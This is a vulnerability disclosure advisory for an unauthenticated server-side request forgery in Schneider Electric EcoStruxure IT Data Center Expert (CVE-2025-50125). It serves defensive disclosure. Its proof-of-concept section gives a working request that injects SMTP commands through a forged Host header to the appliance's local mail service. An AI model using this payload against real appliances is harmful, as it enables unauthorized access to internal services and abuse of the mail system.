KL-001-2025-011: Schneider Electric EcoStruxure IT Data Center Expert Unauthenticated Server-Side Request Forgery
Title: Schneider Electric EcoStruxure IT Data Center Expert Unauthenticated Server-Side Request Forgery
Advisory ID: KL-001-2025-011
Publication Date: 2025-07-09
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2025-011.txt
1. Vulnerability Details
Affected Vendor: Schneider Electric
Affected Product: EcoStruxure IT Data Center Expert
Affected Version: 8.3 and prior
Platform: CentOS
CWE Classification: CWE-918: Server-Side Request Forgery (SSRF)
CVE ID: CVE-2025-50125
2. Vulnerability Description
The Data Center Expert ("DCE") appliance insecurely forwards
HTTP requests based on user-controlled values, enabling an
unauthenticated user to coerce the web application into sending
data to arbitrary locations, such as the SMTP service listening
on localhost.
3. Technical Description
When an HTTP request is sent to either the "/plugins" or
"/capturelogs" endpoints, the request is forwarded based on
the "Host" request header. Since the "Host" request header is
not validated, a user may supply any host / port combination
and send data to arbitrary locations and view the response,
creating a server-side request forgery vulnerability.
GET /plugins HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found
...
<!doctype html>
<html>
<head>
<title>Example Domain</title>
...
The upstream path is not controllable and HTTP redirects are
not followed.
Rather than issuing constrained HTTP requests, it is possible
to instead send malicious data to other services that leverage
protocols similar to HTTP, such as the SMTP service listening on
the appliance's loopback address. Attempts to send well-formed
HTTP requests to the SMTP service result in the TCP connection
being prematurely severed, as common HTTP verbs are a sign
of malicious activity. However, the proxy mechanism employed
by the DCE appliance does not validate the verb, allowing
malformed requests that contain valid SMTP commands such as
"EHLO" and "MAIL FROM".
When unexpected data is received, such as the "Host" and
"X-Forwarded-For" request header, a benign error is returned
without severing the TCP connection, allowing for additional
(and well-formed) SMTP commands to follow.
4. Mitigation and Remediation Recommendation
Version 9.0 of EcoStruxure IT Data Center Expert includes
fixes for these vulnerabilities and is available upon request
from Schneider Electric's Customer Care Center. Refer to

7. Proof of Concept
This behavior allows unauthenticated attackers to interact with
services not usually exposed to the internet, such as the
appliance's SMTP service, to further exploit and enumerate the
system.
The following is an HTTP request sent to the DCE web interface
listening on TCP/80:
EHLO /plugins?%0a%0dfoobar HTTP/1.1
Host: 127.0.0.1:25
Content-Length: 137
HELO localhost
MAIL FROM:<root@localhost>
RCPT TO:<apcreset@localhost>
DATA
Subject: foobar
This is a test email body
.
QUIT
As shown in the HTTP response, request headers that do not
represent valid SMTP commands are disregarded, allowing the
body to be parsed as a valid message:
HTTP/1.1 200 OK
...
220 dce.example.com ESMTP Sendmail 8.14.4/8.14.4; Mon, 1 Jul 2024 07:00:08 -0400501 5.0.0 Invalid domain name
